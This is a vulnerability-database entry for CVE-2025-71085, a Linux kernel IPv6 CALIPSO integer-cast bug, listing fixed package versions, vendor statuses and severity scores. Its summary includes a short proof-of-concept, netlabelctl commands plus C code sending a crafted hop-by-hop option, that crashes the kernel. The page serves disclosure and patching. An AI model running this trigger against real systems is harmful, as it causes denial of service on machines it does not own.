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Fencer Intel
high 7.5

CVE-2025-71085 json

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

published 2026-01-13 9 mo ago modified 2026-10-19 21 d ago also EUVD-2026-2249

cvss
7.5
version 3.1, CNA
cisa kev
Not listed
not in CISA's catalog
epss
0.3%
EPSS 0.3% chance of exploitation in 30 days, percentile 23%
public exploits
0
none known

Summary

In the Linux kernel, the following vulnerability has been resolved:

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0).

The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead.

Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom.

PoC: Using `netlabelctl` tool:

netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7

Then run the following PoC:

int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);

// setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0;

// setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337;

// setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80

sendmsg(fd, &msg, 0);

Patch / fix

  • Linux Linux 5.10.248, 5.15.198, 6.1.160, 6.6.120, 6.12.64, 6.18.4, 6.19
  • linux Debian 12 6.1.162-1
  • linux Debian 13 6.12.69-1
  • linux Debian 14 6.18.5-1

debian advisories DEBIAN-CVE-2025-71085

  • linux Ubuntu 22.04 LTS 5.15.0-173.183
  • linux Ubuntu 24.04 LTS 6.8.0-110.110
  • linux Ubuntu 25.10 6.17.0-22.22
  • linux-aws Ubuntu 22.04 LTS 5.15.0-1103.110
  • linux-aws Ubuntu 24.04 LTS 6.8.0-1052.55
  • linux-aws Ubuntu 25.10 6.17.0-1012.12
  • linux-gcp Ubuntu 22.04 LTS 5.15.0-1103.112
  • linux-gcp Ubuntu 24.04 LTS 6.8.0-1054.57

ubuntu advisories UBUNTU-CVE-2025-71085

Ubuntu security data © Canonical Ltd., from https://github.com/canonical/ubuntu-security-notices via OSV; changed: normalised to fixed package versions per release. CC BY-SA 4.0

  • kernel RHEL 10.1 6.12.0-124.43.1.el10_1
  • rv RHEL 10.1 6.12.0-124.43.1.el10_1
  • perf RHEL 10.1 6.12.0-124.43.1.el10_1
  • rtla RHEL 10.1 6.12.0-124.43.1.el10_1
  • libperf RHEL 10.1 6.12.0-124.43.1.el10_1
  • kernel-rt RHEL 10.1 6.12.0-124.43.1.el10_1
  • kernel-64k RHEL 10.1 6.12.0-124.43.1.el10_1
  • kernel-core RHEL 10.1 6.12.0-124.43.1.el10_1

red hat advisories RHSA-2026:7003RHSA-2026:6193RHSA-2026:5813RHSA-2026:5732RHSA-2026:5727RHSA-2026:5693

  • kernel-rt SLE Micro 5.4, SLE Micro 5.3 5.14.21-150400.15.145.1
  • kernel-source-rt SLE Micro 5.4, SLE Micro 5.3 5.14.21-150400.15.145.1
  • kernel-livepatch-SLE16_Update_2 SLES 16.0, Linux Micro 6.2, SLES for SAP applications 16.0 4-160000.1.1
  • kernel-livepatch-SLE16_Update_1 SLES 16.0, Linux Micro 6.2, SLES for SAP applications 16.0 6-160000.1.1
  • kernel-livepatch-SLE16_Update_0 SLES 16.0, Linux Micro 6.2, SLES for SAP applications 16.0 8-160000.4.3
  • kernel-livepatch-SLE16_Update_3 SLES 16.0, Linux Micro 6.2, SLES for SAP applications 16.0 3-160000.1.1
  • kernel-livepatch-SLE16_Update_4 Linux Micro 6.2 2-160000.1.1
  • kernel-livepatch-SLE15-SP7_Update_7 SLE Live Patching 15 SP7 2-150700.2.1

suse advisories SUSE-SU-2026:1136-1SUSE-SU-2026:1132-1SUSE-SU-2026:1131-1SUSE-SU-2026:1125-1SUSE-SU-2026:1102-1SUSE-SU-2026:1099-1

  • kernel-rt openSUSE Leap 16.0 6.12.0-160000.26.1
  • dtb-aarch64 openSUSE Leap 16.0 6.12.0-160000.26.1
  • kernel-64kb openSUSE Leap 16.0 6.12.0-160000.26.1
  • kernel-syms openSUSE Leap 16.0 6.12.0-160000.26.1
  • kernel-azure openSUSE Leap 16.0 6.12.0-160000.26.1
  • kernel-obs-qa openSUSE Leap 16.0 6.12.0-160000.26.1
  • kernel-source openSUSE Leap 16.0 6.12.0-160000.26.1
  • kernel-default openSUSE Leap 16.0 6.12.0-160000.26.1

opensuse advisories openSUSE-SU-2026:20287-1

  • kernel AlmaLinux 8 4.18.0-553.111.1.el8_10
  • perf AlmaLinux 8 4.18.0-553.111.1.el8_10
  • bpftool AlmaLinux 8 4.18.0-553.111.1.el8_10
  • kernel-core AlmaLinux 8 4.18.0-553.111.1.el8_10
  • kernel-tools AlmaLinux 8 4.18.0-553.111.1.el8_10
  • python3-perf AlmaLinux 8 4.18.0-553.111.1.el8_10
  • kernel-modules AlmaLinux 8 4.18.0-553.111.1.el8_10
  • kernel-zfcpdump AlmaLinux 8 4.18.0-553.111.1.el8_10

almalinux advisories ALSA-2026:3963ALSA-2026:3964ALSA-2026:4012ALSA-2026:3488

  • kernel-rt Rocky Linux 8 4.18.0-553.111.1.rt7.452.el8_10
  • kernel Rocky Linux 8 4.18.0-553.111.1.el8_10
  • kernel Rocky Linux 9 5.14.0-611.36.1.el9_7

rocky linux advisories RLSA-2026:3964RLSA-2026:3963RLSA-2026:3488

Vendor advisories

What the vendors themselves say about their products: affected, fixed or not affected, and what to do.

red hat product security vex CVE-2025-71085 updated cvss 7.5

kernel: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

  • Red Hat Enterprise Linux 9 kernel-rt, kernel-rt-kvm, kernel-rt-core, kernel-rt-modules, kernel-rt-debug-kvm, kernel-rt-debug-core, +12 more
    affected: workaround, no fix available
  • Red Hat CodeReady Linux Builder EUS (v.9.4) libperf 5.14.0-427.114.1.el9_4, kernel-debuginfo-common-s390x 5.14.0-427.114.1.el9_4, kernel-debuginfo-common-x86_64 5.14.0-427.114.1.el9_4, kernel-debuginfo-common-aarch64 5.14.0-427.114.1.el9_4, kernel-debuginfo-common-ppc64le 5.14.0-427.114.1.el9_4
    fixed: vendor fix RHSA-2026:4246
  • Red Hat CodeReady Linux Builder EUS (v.9.6) libperf 5.14.0-570.98.1.el9_6, kernel-debuginfo-common-s390x 5.14.0-570.98.1.el9_6, kernel-debuginfo-common-x86_64 5.14.0-570.98.1.el9_6, kernel-debuginfo-common-aarch64 5.14.0-570.98.1.el9_6, kernel-debuginfo-common-ppc64le 5.14.0-570.98.1.el9_6
    fixed: vendor fix RHSA-2026:4745
  • Red Hat Enterprise Linux AppStream (v. 9) rv 5.14.0-611.36.1.el9_7, perf 5.14.0-611.36.1.el9_7, rtla 5.14.0-611.36.1.el9_7, python3-perf 5.14.0-611.36.1.el9_7, kernel-devel-matched 5.14.0-611.36.1.el9_7, kernel-64k-devel-matched 5.14.0-611.36.1.el9_7, +7 more
    fixed: vendor fix RHSA-2026:3488
  • Red Hat Enterprise Linux AppStream (v. 10) rv 6.12.0-124.43.1.el10_1, perf 6.12.0-124.43.1.el10_1, rtla 6.12.0-124.43.1.el10_1, python3-perf 6.12.0-124.43.1.el10_1, kernel-devel-matched 6.12.0-124.43.1.el10_1, kernel-64k-devel-matched 6.12.0-124.43.1.el10_1, +7 more
    fixed: vendor fix RHSA-2026:4012
  • Red Hat Enterprise Linux AppStream E4S (v.9.0) perf 5.14.0-70.171.1.el9_0, kernel-devel-matched 5.14.0-70.171.1.el9_0, kernel-debug-devel-matched 5.14.0-70.171.1.el9_0, kernel-debuginfo-common-s390x 5.14.0-70.171.1.el9_0, kernel-zfcpdump-devel-matched 5.14.0-70.171.1.el9_0, kernel-debuginfo-common-x86_64 5.14.0-70.171.1.el9_0, +2 more
    fixed: vendor fix RHSA-2026:5693
  • Red Hat Enterprise Linux AppStream E4S (v.9.2) perf 5.14.0-284.161.1.el9_2, rtla 5.14.0-284.161.1.el9_2, kernel-devel-matched 5.14.0-284.161.1.el9_2, kernel-64k-devel-matched 5.14.0-284.161.1.el9_2, kernel-debug-devel-matched 5.14.0-284.161.1.el9_2, kernel-debuginfo-common-s390x 5.14.0-284.161.1.el9_2, +5 more
    fixed: vendor fix RHSA-2026:5813
  • Red Hat Enterprise Linux AppStream EUS (v. 10.0) rv 6.12.0-55.65.1.el10_0, perf 6.12.0-55.65.1.el10_0, rtla 6.12.0-55.65.1.el10_0, python3-perf 6.12.0-55.65.1.el10_0, kernel-devel-matched 6.12.0-55.65.1.el10_0, kernel-64k-devel-matched 6.12.0-55.65.1.el10_0, +7 more
    fixed: vendor fix RHSA-2026:6193
show 31 more
  • Red Hat Enterprise Linux AppStream EUS (v.9.4) rv 5.14.0-427.114.1.el9_4, perf 5.14.0-427.114.1.el9_4, rtla 5.14.0-427.114.1.el9_4, kernel-devel-matched 5.14.0-427.114.1.el9_4, kernel-64k-devel-matched 5.14.0-427.114.1.el9_4, kernel-debug-devel-matched 5.14.0-427.114.1.el9_4, +6 more
    fixed: vendor fix RHSA-2026:4246
  • Red Hat Enterprise Linux AppStream EUS (v.9.6) rv 5.14.0-570.98.1.el9_6, perf 5.14.0-570.98.1.el9_6, rtla 5.14.0-570.98.1.el9_6, python3-perf 5.14.0-570.98.1.el9_6, kernel-devel-matched 5.14.0-570.98.1.el9_6, kernel-64k-devel-matched 5.14.0-570.98.1.el9_6, +7 more
    fixed: vendor fix RHSA-2026:4745
  • Red Hat Enterprise Linux BaseOS (v. 8) perf 4.18.0-553.111.1.el8_10, kernel 4.18.0-553.111.1.el8_10, bpftool 4.18.0-553.111.1.el8_10, kernel-core 4.18.0-553.111.1.el8_10, kernel-tools 4.18.0-553.111.1.el8_10, python3-perf 4.18.0-553.111.1.el8_10, +15 more
    fixed: vendor fix RHSA-2026:3963
  • Red Hat Enterprise Linux BaseOS (v. 9) kernel 5.14.0-611.36.1.el9_7, kernel-64k 5.14.0-611.36.1.el9_7, kernel-core 5.14.0-611.36.1.el9_7, kernel-tools 5.14.0-611.36.1.el9_7, kernel-modules 5.14.0-611.36.1.el9_7, kernel-64k-core 5.14.0-611.36.1.el9_7, +27 more
    fixed: vendor fix RHSA-2026:3488
  • Red Hat Enterprise Linux BaseOS (v. 10) kernel 6.12.0-124.43.1.el10_1, kernel-64k 6.12.0-124.43.1.el10_1, kernel-core 6.12.0-124.43.1.el10_1, kernel-tools 6.12.0-124.43.1.el10_1, kernel-modules 6.12.0-124.43.1.el10_1, kernel-64k-core 6.12.0-124.43.1.el10_1, +28 more
    fixed: vendor fix RHSA-2026:4012
  • Red Hat Enterprise Linux BaseOS AUS (v. 8.2) perf 4.18.0-193.190.1.el8_2, kernel 4.18.0-193.190.1.el8_2, bpftool 4.18.0-193.190.1.el8_2, kernel-core 4.18.0-193.190.1.el8_2, kernel-tools 4.18.0-193.190.1.el8_2, python3-perf 4.18.0-193.190.1.el8_2, +8 more
    fixed: vendor fix RHSA-2026:5727
  • Red Hat Enterprise Linux BaseOS AUS (v.8.4) perf 4.18.0-305.188.1.el8_4, kernel 4.18.0-305.188.1.el8_4, bpftool 4.18.0-305.188.1.el8_4, kernel-core 4.18.0-305.188.1.el8_4, kernel-tools 4.18.0-305.188.1.el8_4, python3-perf 4.18.0-305.188.1.el8_4, +8 more
    fixed: vendor fix RHSA-2026:7003
  • Red Hat Enterprise Linux BaseOS AUS (v.8.6) perf 4.18.0-372.185.1.el8_6, kernel 4.18.0-372.185.1.el8_6, bpftool 4.18.0-372.185.1.el8_6, kernel-core 4.18.0-372.185.1.el8_6, kernel-tools 4.18.0-372.185.1.el8_6, python3-perf 4.18.0-372.185.1.el8_6, +8 more Red Hat Enterprise Linux BaseOS E4S (v.8.6) perf 4.18.0-372.185.1.el8_6, kernel 4.18.0-372.185.1.el8_6, bpftool 4.18.0-372.185.1.el8_6, kernel-core 4.18.0-372.185.1.el8_6, kernel-tools 4.18.0-372.185.1.el8_6, python3-perf 4.18.0-372.185.1.el8_6, +15 more
    fixed: vendor fix RHSA-2026:5691
  • Red Hat Enterprise Linux BaseOS E4S (v.8.8) perf 4.18.0-477.133.1.el8_8, kernel 4.18.0-477.133.1.el8_8, bpftool 4.18.0-477.133.1.el8_8, kernel-core 4.18.0-477.133.1.el8_8, kernel-tools 4.18.0-477.133.1.el8_8, python3-perf 4.18.0-477.133.1.el8_8, +9 more
    fixed: vendor fix RHSA-2026:5689
  • Red Hat Enterprise Linux BaseOS E4S (v.9.0) kernel 5.14.0-70.171.1.el9_0, bpftool 5.14.0-70.171.1.el9_0, kernel-core 5.14.0-70.171.1.el9_0, kernel-tools 5.14.0-70.171.1.el9_0, python3-perf 5.14.0-70.171.1.el9_0, kernel-modules 5.14.0-70.171.1.el9_0, +14 more
    fixed: vendor fix RHSA-2026:5693
  • Red Hat Enterprise Linux BaseOS E4S (v.9.2) bpftool 7.0.0-284.161.1.el9_2, kernel 5.14.0-284.161.1.el9_2, kernel-64k 5.14.0-284.161.1.el9_2, kernel-core 5.14.0-284.161.1.el9_2, kernel-tools 5.14.0-284.161.1.el9_2, python3-perf 5.14.0-284.161.1.el9_2, +28 more
    fixed: vendor fix RHSA-2026:5813
  • Red Hat Enterprise Linux BaseOS EUS (v. 10.0) kernel 6.12.0-55.65.1.el10_0, kernel-64k 6.12.0-55.65.1.el10_0, kernel-core 6.12.0-55.65.1.el10_0, kernel-tools 6.12.0-55.65.1.el10_0, kernel-modules 6.12.0-55.65.1.el10_0, kernel-64k-core 6.12.0-55.65.1.el10_0, +27 more
    fixed: vendor fix RHSA-2026:6193
  • Red Hat Enterprise Linux BaseOS EUS (v.9.4) bpftool 7.3.0-427.114.1.el9_4, kernel 5.14.0-427.114.1.el9_4, kernel-64k 5.14.0-427.114.1.el9_4, kernel-core 5.14.0-427.114.1.el9_4, kernel-tools 5.14.0-427.114.1.el9_4, python3-perf 5.14.0-427.114.1.el9_4, +28 more
    fixed: vendor fix RHSA-2026:4246
  • Red Hat Enterprise Linux BaseOS EUS (v.9.6) kernel 5.14.0-570.98.1.el9_6, kernel-64k 5.14.0-570.98.1.el9_6, kernel-core 5.14.0-570.98.1.el9_6, kernel-tools 5.14.0-570.98.1.el9_6, kernel-modules 5.14.0-570.98.1.el9_6, kernel-64k-core 5.14.0-570.98.1.el9_6, +27 more
    fixed: vendor fix RHSA-2026:4745
  • Red Hat Enterprise Linux BaseOS EUS EXTENSION (v.8.4) perf 4.18.0-305.188.1.el8_4, kernel 4.18.0-305.188.1.el8_4, bpftool 4.18.0-305.188.1.el8_4, kernel-core 4.18.0-305.188.1.el8_4, kernel-tools 4.18.0-305.188.1.el8_4, python3-perf 4.18.0-305.188.1.el8_4, +8 more
    fixed: vendor fix RHSA-2026:7003
  • Red Hat Enterprise Linux BaseOS TUS (v.8.6) perf 4.18.0-372.185.1.el8_6, kernel 4.18.0-372.185.1.el8_6, bpftool 4.18.0-372.185.1.el8_6, kernel-core 4.18.0-372.185.1.el8_6, kernel-tools 4.18.0-372.185.1.el8_6, python3-perf 4.18.0-372.185.1.el8_6, +8 more
    fixed: vendor fix RHSA-2026:5691
  • Red Hat Enterprise Linux BaseOS TUS (v.8.8) perf 4.18.0-477.133.1.el8_8, kernel 4.18.0-477.133.1.el8_8, bpftool 4.18.0-477.133.1.el8_8, kernel-core 4.18.0-477.133.1.el8_8, kernel-tools 4.18.0-477.133.1.el8_8, python3-perf 4.18.0-477.133.1.el8_8, +8 more
    fixed: vendor fix RHSA-2026:5689
  • Red Hat Enterprise Linux CodeReady Linux Builder (v. 9) libperf 5.14.0-611.36.1.el9_7, kernel-debuginfo-common-s390x 5.14.0-611.36.1.el9_7, kernel-debuginfo-common-x86_64 5.14.0-611.36.1.el9_7, kernel-debuginfo-common-aarch64 5.14.0-611.36.1.el9_7, kernel-debuginfo-common-ppc64le 5.14.0-611.36.1.el9_7
    fixed: vendor fix RHSA-2026:3488
  • Red Hat Enterprise Linux CodeReady Linux Builder (v. 10) libperf 6.12.0-124.43.1.el10_1, kernel-debuginfo-common-s390x 6.12.0-124.43.1.el10_1, kernel-debuginfo-common-x86_64 6.12.0-124.43.1.el10_1, kernel-debuginfo-common-aarch64 6.12.0-124.43.1.el10_1, kernel-debuginfo-common-ppc64le 6.12.0-124.43.1.el10_1
    fixed: vendor fix RHSA-2026:4012
  • Red Hat Enterprise Linux CodeReady Linux Builder EUS (v. 10.0) libperf 6.12.0-55.65.1.el10_0, kernel-debuginfo-common-s390x 6.12.0-55.65.1.el10_0, kernel-debuginfo-common-x86_64 6.12.0-55.65.1.el10_0, kernel-debuginfo-common-aarch64 6.12.0-55.65.1.el10_0, kernel-debuginfo-common-ppc64le 6.12.0-55.65.1.el10_0
    fixed: vendor fix RHSA-2026:6193
  • Red Hat Enterprise Linux CRB (v. 8) kernel-debuginfo-common-x86_64 4.18.0-553.111.1.el8_10, kernel-debuginfo-common-aarch64 4.18.0-553.111.1.el8_10, kernel-debuginfo-common-ppc64le 4.18.0-553.111.1.el8_10
    fixed: vendor fix RHSA-2026:3963
  • Red Hat Enterprise Linux NFV (v. 8) kernel-rt 4.18.0-553.111.1.rt7.452.el8_10, kernel-rt-kvm 4.18.0-553.111.1.rt7.452.el8_10, kernel-rt-core 4.18.0-553.111.1.rt7.452.el8_10, kernel-rt-modules 4.18.0-553.111.1.rt7.452.el8_10, kernel-rt-debug-kvm 4.18.0-553.111.1.rt7.452.el8_10, kernel-rt-debug-core 4.18.0-553.111.1.rt7.452.el8_10, +4 more
    fixed: vendor fix RHSA-2026:3964
  • Red Hat Enterprise Linux NFV E4S (v.9.0) kernel-rt 5.14.0-70.171.1.rt21.243.el9_0, kernel-rt-kvm 5.14.0-70.171.1.rt21.243.el9_0, kernel-rt-core 5.14.0-70.171.1.rt21.243.el9_0, kernel-rt-modules 5.14.0-70.171.1.rt21.243.el9_0, kernel-rt-debug-kvm 5.14.0-70.171.1.rt21.243.el9_0, kernel-rt-debug-core 5.14.0-70.171.1.rt21.243.el9_0, +4 more
    fixed: vendor fix RHSA-2026:5732
  • Red Hat Enterprise Linux Real Time (v. 9) kernel-rt 5.14.0-611.36.1.el9_7, kernel-rt-64k 5.14.0-611.36.1.el9_7, kernel-rt-core 5.14.0-611.36.1.el9_7, kernel-rt-modules 5.14.0-611.36.1.el9_7, kernel-rt-64k-core 5.14.0-611.36.1.el9_7, kernel-rt-debug-core 5.14.0-611.36.1.el9_7, +14 more
    fixed: vendor fix RHSA-2026:3488
  • Red Hat Enterprise Linux Real Time (v. 10) kernel-rt 6.12.0-124.43.1.el10_1, kernel-rt-64k 6.12.0-124.43.1.el10_1, kernel-rt-core 6.12.0-124.43.1.el10_1, kernel-rt-modules 6.12.0-124.43.1.el10_1, kernel-rt-64k-core 6.12.0-124.43.1.el10_1, kernel-rt-debug-core 6.12.0-124.43.1.el10_1, +14 more
    fixed: vendor fix RHSA-2026:4012
  • Red Hat Enterprise Linux Real Time E4S (v.9.0) kernel-rt 5.14.0-70.171.1.rt21.243.el9_0, kernel-rt-core 5.14.0-70.171.1.rt21.243.el9_0, kernel-rt-modules 5.14.0-70.171.1.rt21.243.el9_0, kernel-rt-debug-core 5.14.0-70.171.1.rt21.243.el9_0, kernel-rt-debug-modules 5.14.0-70.171.1.rt21.243.el9_0, kernel-rt-modules-extra 5.14.0-70.171.1.rt21.243.el9_0, +2 more
    fixed: vendor fix RHSA-2026:5732
  • Red Hat Enterprise Linux Real Time E4S (v.9.2) kernel-rt 5.14.0-284.161.1.rt14.446.el9_2, kernel-rt-core 5.14.0-284.161.1.rt14.446.el9_2, kernel-rt-modules 5.14.0-284.161.1.rt14.446.el9_2, kernel-rt-debug-core 5.14.0-284.161.1.rt14.446.el9_2, kernel-rt-modules-core 5.14.0-284.161.1.rt14.446.el9_2, kernel-rt-debug-modules 5.14.0-284.161.1.rt14.446.el9_2, +4 more
    fixed: vendor fix RHSA-2026:5690
  • Red Hat Enterprise Linux Real Time EUS (v. 10.0) kernel-rt 6.12.0-55.65.1.el10_0, kernel-rt-64k 6.12.0-55.65.1.el10_0, kernel-rt-core 6.12.0-55.65.1.el10_0, kernel-rt-modules 6.12.0-55.65.1.el10_0, kernel-rt-64k-core 6.12.0-55.65.1.el10_0, kernel-rt-debug-core 6.12.0-55.65.1.el10_0, +14 more
    fixed: vendor fix RHSA-2026:6193
  • Red Hat Enterprise Linux Real Time EUS (v.9.4) kernel-rt 5.14.0-427.114.1.el9_4, kernel-rt-core 5.14.0-427.114.1.el9_4, kernel-rt-modules 5.14.0-427.114.1.el9_4, kernel-rt-debug-core 5.14.0-427.114.1.el9_4, kernel-rt-modules-core 5.14.0-427.114.1.el9_4, kernel-rt-debug-modules 5.14.0-427.114.1.el9_4, +4 more
    fixed: vendor fix RHSA-2026:4246
  • Red Hat Enterprise Linux Real Time EUS (v.9.6) kernel-rt 5.14.0-570.98.1.el9_6, kernel-rt-64k 5.14.0-570.98.1.el9_6, kernel-rt-core 5.14.0-570.98.1.el9_6, kernel-rt-modules 5.14.0-570.98.1.el9_6, kernel-rt-64k-core 5.14.0-570.98.1.el9_6, kernel-rt-debug-core 5.14.0-570.98.1.el9_6, +14 more
    fixed: vendor fix RHSA-2026:4745
  • Red Hat Enterprise Linux Real Time for NFV (v. 9) kernel-rt 5.14.0-611.36.1.el9_7, kernel-rt-core 5.14.0-611.36.1.el9_7, kernel-rt-modules 5.14.0-611.36.1.el9_7, kernel-rt-debug-core 5.14.0-611.36.1.el9_7, kernel-rt-modules-core 5.14.0-611.36.1.el9_7, kernel-rt-debug-modules 5.14.0-611.36.1.el9_7, +4 more
    fixed: vendor fix RHSA-2026:3488

6 more fixed, 2 more not affected in the full advisory

Red Hat CSAF VEX © Red Hat, Inc., from https://security.access.redhat.com/data/csaf/v2/vex/; changed: reduced to product statuses and remediations. CC BY 4.0 · csaf

cisa ICSA-26-295-11 updated cvss 7.5

Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP

  • Siemens SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) >= 3.1.7 Siemens SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) >= 3.1.7 Siemens SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) >= 3.1.7 Siemens SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) >= 3.1.7 Siemens SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) >= 3.1.7
    affected: mitigation, no fix available

Facts from CISA's republication of the vendor's own advisory (CSAF); the linked advisory is the authoritative source. CISA notification · csaf

cisa ICSA-26-209-04 updated cvss 7.5

Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP

  • Siemens SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) >= 3.1.6 Siemens SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) >= 3.1.6 Siemens SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) >= 3.1.6 Siemens SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) >= 3.1.6 Siemens SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) >= 3.1.6
    affected: mitigation, no fix available

Facts from CISA's republication of the vendor's own advisory (CSAF); the linked advisory is the authoritative source. CISA notification · csaf

CISA SSVC

Exploitation
none
Automatable
no
Technical impact
partial
Assessed
4 mo ago

Exploit prediction

0.30% chance of exploitation in the next 30 days, higher than 23% of all scored CVEs (FIRST EPSS, 2026-11-09).

CVSS scores

assigned by version score vector
CNA 3.1 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
NVD 3.1 5.5 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Affected products

  • Linux Linux
  • Siemens SIMATIC S7-1500 CPU 1518-4 PN/DP MFP
  • Siemens SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP
  • Siemens SIPLUS S7-1500 CPU 1518-4 PN/DP MFP

Classification

Weakness
Technology feeds

References

Sources

Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.